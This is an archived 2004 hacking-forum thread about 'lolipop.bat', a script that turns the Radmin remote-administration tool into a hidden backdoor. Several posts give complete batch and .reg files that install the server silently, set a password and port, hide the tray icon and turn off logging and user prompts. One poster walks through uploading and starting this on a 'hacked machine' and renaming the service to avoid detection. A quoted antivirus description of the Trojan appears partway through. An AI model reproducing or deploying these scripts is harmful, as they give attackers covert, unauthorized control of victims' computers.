Full Version: Lolipop.bat
Learnsecurity
i donīt find anything file to download by google or other
with the lolipop.bat you can manipulate the registry for radmin. like servicename, i hope smile.gif


other files needed too:

dtreg.exe <<-- this one i need to



i hope anybody share this one
skater
CODE
r_server.exe /install /silence
r_server.EXE /pass:yourpass /save /silence
r_server.EXE /install /silence
r_server.EXE /start /silence
echo off
net start r_server


found it on a server wink.gif

you can download the files by searching in google
Learnsecurity
hmm, who is needed the dtreg.exe, this manipulate the registry
Partizaan
this one i wrote myself

@echo off
ECHO INSTALLING SERVER
changedname.exe /pass:partizaanownzyourass /port:6969 /install /save /silence
ECHO SERVER INSTALLED NOW BOOTING UP
changedname.exe /start
ECHO SERVER IS BOOTED - ON ERROR RUN TLIST.EXE
exit

no icon in tray ( i tested it)
no other files needed

make sure u upload

the server.exe + AdmDll.dll + your bat file

greetz and respect
labbertasche
**lol** you find the bat on a server wink.gif

look **gooooogle** and you find the program dry.gif little tip this are the magic words "DTREG registry"

.... perhaps you find the complete *.exe ph34r.gif

greets
labbertasche

ps: do you know the passoword from the bat file for radmin rolleyes.gif
B3T4
sssssssst, we have already a topic about this in trial
jhd
thx for the batfile. Now i know the command /silence tongue.gif
ryoggi
QUOTE (Partizaan @ Jun 10 2004, 07:31 PM)
this one i wrote myself

@echo off
ECHO INSTALLING SERVER
changedname.exe /pass:partizaanownzyourass /port:6969 /install /save /silence
ECHO SERVER INSTALLED NOW BOOTING UP
changedname.exe /start
ECHO SERVER IS BOOTED - ON ERROR RUN TLIST.EXE
exit

no icon in tray ( i tested it)
no other files needed

make sure u upload

the server.exe + AdmDll.dll + your bat file

greetz and respect

Fine, thks u.

I have the same but mine is with reg key.
Learnsecurity
NO NO NO, read anything the post, there are 2 files. no the standard installation from radmin, i know, installe silence blablabla.

but there are two files. dtreg.exe and "lolipop.bat" (the real name), in the lolipob.bat is writing how it use dtreg.exe to manipulate the registrie. the service name i know. or anybody have another servicename that r_server.
And the files canīt find with google.de "lolipop.bat" only writing over this file. but noch content of this file. dtreg.exe you need 1.0 t version and this also not for download.

i hope anything can help.
K1LL3RB0Y
hmm like thiss
found it at a virus list
QUOTE

Details:
Installation and Autostart

This malware usually arrives as a self-extracting WinRAR executable. Upon execution, it drops the following files in the directory where it was executed:

lolipop.bat (1,356 bytes)
The Trojan runs this the batch file after extraction.

r_server.exe (241,664 bytes)
This legitimate application called Remote Administrator by Famatech is used by the Trojan as backdoor component.

AdmDll.dll (90,112 bytes)
This file is a component of r_server.exe.

raddrv.dll (29,408 bytes)
This file is another component of r_server.exe.

dtreg.exe (73,728 bytes)
This legitimate tool called DTREG v1.0t is used by LOLIPOP.BAT to modify the settings of r_server.exe.
On Windows 9x systems, r_server.exe uses the following registry entries so that it executes every time Windows starts:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run
r_server = <Path where the malware was executed>\r_server.exe /service

On NT based platforms, r_server.exe registers itself as a service by creating the following registry key, where it also stores information:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\r_server

It has the service display name, Remote Administrator Service.

Malicious Routines

This Trojan sets up the infected system for remote access. After extracting its content, it runs the initial script LOLIPOP.BAT, which installs Remote Administrator in silent mode to hide the installation process from the user.

LOLIPOP.BAT then uses the dropped file dtreg.exe to modify the settings of Remote Administrator by editing the registry entries found in the following location:

HKEY_LOCAL_MACHINE\System\RAdmin\v2.0

It sets Remote Administrator to listen on port 8150 instead of the default port 4899 and disables it from displaying an icon in the system tray to hide its presence in the system.

Learnsecurity
^^ i know, but thats not the file. i believe anything have this bat @ home
h3llraz0r
this is not the lolipop.bat but one just like it, i think this one is set to port 4898, but you can change that to something else you like

CODE
@echo off
r_server.exe /install /silence
r_server.exe /pass:yougotowned
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port=22130000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Timeout=0a000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\EnableLogFile=00000000
dtREG -Set REG_SZ HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\LogFilePath="c:\syslog.txt"
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableTrayIcon=01000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\EnableEventLog=00000000
net start r_server
subcorner
if u want a modded, disturb ure brain!!
M4UZi
lolipop.bat?

HERE IS IT!

CODE

r_server.exe /install /silence
echo off
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port=22130000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Timeout=0a000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\EnableLogFile=00000000
dtREG -Set REG_SZ HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\LogFilePath="c:\logfile.txt"
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\FilterIp=00000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableTrayIcon=01000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\AutoAllow=00000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\AskUser=00000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\EnableEventLog=00000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter=a3729aba72a15e43c1478d351d658987
echo off
cls
net start r_server
cls
exit




dtreg.exe?

you can download here:
http://mitglied.lycos.de/mauzi25/dtreg.exe
Player
what's the difference between using those 2 files and using a batch file that has
CODE
regedit /s rserver.reg
rserver.exe /pass:somepass /port:1234 /install /save /silence
rserver.exe /start /silence


and the reg file having
CODE
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:d4,db,5b,ce,7f,cc,6f,7d,0a,c7,e8,68,e8,7f,64,3e
"Port"=hex:f6,09,00,00
"Timeout"=hex:0a,00,00,00
"EnableLogFile"=hex:00,00,00,00
"LogFilePath"="c:\\logfile.txt"
"FilterIp"=hex:00,00,00,00
"DisableTrayIcon"=hex:01,00,00,00
"AutoAllow"=hex:00,00,00,00
"AskUser"=hex:00,00,00,00
"EnableEventLog"=hex:00,00,00,00
Learnsecurity
thanks for help

@ M4UZi - the link dosnīt work


hmm, the lolipop.bat dosnīt change anything on the system-service-name. itīs
the normal installation with a .bat and .reg. dtreg is only use to import in registry.
thats shit, i hope can change the systemservice smile.gif, thanks for help, somebody has shits told.
Player
does anyone have a hex edited radmin so that we could use different registry branch and different name dll with it so it would be harder to find?
Thom
I read before on this forum that some dude tried to hexedit the exe and change service name without sucess, i think he said it was protected or something... good luck though u might be able to get it
Player
QUOTE (M4UZi @ Jun 11 2004, 04:21 PM)
lolipop.bat?

HERE IS IT!

CODE

r_server.exe /install /silence
echo off
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port=22130000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Timeout=0a000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\EnableLogFile=00000000
dtREG -Set REG_SZ HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\LogFilePath="c:\logfile.txt"
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\FilterIp=00000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableTrayIcon=01000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\AutoAllow=00000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\AskUser=00000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\EnableEventLog=00000000
dtREG -Set REG_BINARY HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter=a3729aba72a15e43c1478d351d658987
echo off
cls
net start r_server
cls
exit




dtreg.exe?

you can download here:
http://mitglied.lycos.de/mauzi25/dtreg.exe

does this add it as a service? i noticed it does a net start at the end
Neo_
Why not use regedit /s plop.reg ?
B3T4
let me break it down for u

Lolipop.bat is nothing more then the reg-keys which are set when u install (and config) radmin. So if u wanna make ur own lolipop, install radmin on ur machine and set everything the way u like it (port / pass / no icon / etc). Then run regedit.exe and goto HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters

dump that to a .reg file and upload it to the hacked machine. Now type:

radmin.exe /installservice /silence

now import the .reg to the hacked machine. After that type : net start r_server
and ur radmin is running as a service now.

if uwant to change something easy do
radmin.exe /port <port> /pass <pass> /save
(im not sure if this is enough for everything and that u dont need the .reg anymore but if u install the reg ur save. BUT, if there is already a configged radmin the the machine than a .reg wont help u and u need to do it this way).

Has u may have noticed is that when u install radmin as a service is that it itself copies to <windir>\system32\r_server.exe . So if u want to change the name of the .exe copy it to <windir>\system32\ so it wont need to be copied.

To change the servicename, use a tool that can change these things (like my spliff wink.gif ). Untill last update i have not heard anyone who managed to hex-edit radmin so i suggest u dont wast ur time on it. It should be possible to change the ShortServiceName for it (r_server), coz obviously it is stored somewhere in the registery so doing some searching and with some zen u could be able to pull it off.
Player
i searched the forum for your spliff, but had no luck, will you post a link please? thanks
B3T4
QUOTE (Player @ Jun 14 2004, 01:32 AM)
i searched the forum for your spliff, but had no luck, will you post a link please? thanks
Player
it says that i do not have permission to view that topic

i've used firedaemon before to install the radmin as a service... radmin.exe /installservice does the same thing?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.